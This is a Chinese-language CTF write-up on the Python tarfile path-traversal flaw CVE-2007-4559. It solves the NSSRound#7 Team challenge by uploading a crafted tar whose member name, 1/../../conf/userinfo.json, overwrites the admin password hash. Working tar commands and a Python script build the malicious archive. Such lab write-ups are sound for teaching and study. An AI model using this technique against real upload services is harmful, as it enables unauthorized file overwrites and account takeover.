tar文件覆盖漏洞 CVE-2007-4559

文章目录

    • 前言
    • 原理
    • [例题 [NSSRound#7 Team]新的博客](#7 Team]新的博客)
      • [方法一 手搓文件名](#方法一 手搓文件名)
      • [方法二 python脚本](#方法二 python脚本)

前言

做到[NSSRound#6 Team]check(Revenge)时发现是tar文件覆盖,但是对概念和执行过程理解不够深就光光记住脚本,所以在做本题[NSSRound#7 Team]新的博客时打算重新梳理该漏洞执行过程

原理

Python 中 tarfile 模块中的extract、extractFile和extractall 函数中的目录遍历漏洞 允许 用户协助的远程攻击者通过 TAR 存档文件名中的...和/遍历目录 和 写入/覆盖任意文件

关键代码

tar = tarfile.open(file_save_path, "r")
tar.extractall(app.config['UPLOAD_FOLDER'])

extractall函数如果结合包含.../的文件名时可以实现文件覆盖漏洞

例题 [NSSRound#7 Team]新的博客

打开题目,发现有两个跳转的网页

第一个提示要用admin用户登录但是密码经过sha512加密,然后就是泄露了源码地址
第二个网页提示hacker打不开,那么应该是要admin才行

我们把字符串解码一下
得到源码文件夹,文件结构大概如下

当然此文件夹给了加密后的密码,但是也提示我们不用去爆破

这里我们先随便注册用户1试试,发现存在tar文件上传

提示也说了这个是恢复备份用的,那么思路就是tar文件覆盖

方法一 手搓文件名

我们已知userinfo.json存放着用户和加密的密码,那么我们可以尝试自己加密123456去覆盖admin原本的密码从而实现登录。加密脚本如下

import hashlib
import json

password='123456'
with open('userinfo.json','wb') as file:
    file.write(json.dumps({'admin':hashlib.sha512(password.encode('utf-8')).hexdigest()}).encode('utf-8'))

我们覆盖的路径为/app/conf/userinfo.json,但是我们发现要目录穿越

因为我们以用户1登录后,参考前文给的文件结构可知道需要被覆盖路径为1/../../app/conf/userinfo.json,也就是说我们创建的文件名为1/../../app/conf/userinfo.json。在linux下构建文件夹结构,然后将上述脚本生成的userinfo.json进行tar压缩

tar -czvf upload.tar.gz userinfo.json

然后我们在userData文件夹下,执行tar命令构造出覆盖路径的文件名

tar cPzvf upload.tar.gz 1/../../conf/userinfo.json

方法二 python脚本

import os, hashlib, json
 
username = '1' # 你注册时用的用户名,尽量别有奇怪的符号
admin_passwd = '123456' # 之后要使用admin账户登陆时的密码
 
os.makedirs('conf')
os.makedirs(os.sep.join([os.getcwd(), 'userData', username]))
with open(os.sep.join([os.getcwd(), 'conf', 'userinfo.json']), 'wb') as tFile:
    tFile.write(json.dumps({'admin': hashlib.sha512(admin_passwd.encode('utf-8')).hexdigest()}).encode('utf-8'))
userDataDir = os.sep.join([os.getcwd(), 'userData'])
os.system(f'cd "{userDataDir}" && tar cPzvf upload.tar.gz {username}/../../conf/userinfo.json')

然后我们登录用户1,上传生成的tar文件

然后退出,用密码123456登录即可得到flag

相关推荐
三金121386 分钟前
SpringIoC容器的初识
网络·网络协议·rpc
陈苏同学12 分钟前
4. 将pycharm本地项目同步到(Linux)服务器上——深度学习·科研实践·从0到1
linux·服务器·ide·人工智能·python·深度学习·pycharm
唐家小妹16 分钟前
介绍一款开源的 Modern GUI PySide6 / PyQt6的使用
python·pyqt
网络研究院22 分钟前
Android 安卓内存安全漏洞数量大幅下降的原因
android·安全·编程·安卓·内存·漏洞·技术
羊小猪~~1 小时前
深度学习项目----用LSTM模型预测股价(包含LSTM网络简介,代码数据均可下载)
pytorch·python·rnn·深度学习·机器学习·数据分析·lstm
Ace'1 小时前
每日一题&&学习笔记
笔记·学习
IM_DALLA1 小时前
【Verilog学习日常】—牛客网刷题—Verilog进阶挑战—VL25
学习·fpga开发·verilog学习
狼头长啸李树身1 小时前
眼儿媚·秋雨绵绵窗暗暗
大数据·网络·服务发现·媒体
Marst Code1 小时前
(Django)初步使用
后端·python·django
985小水博一枚呀1 小时前
【对于Python爬虫的理解】数据挖掘、信息聚合、价格监控、新闻爬取等,附代码。
爬虫·python·深度学习·数据挖掘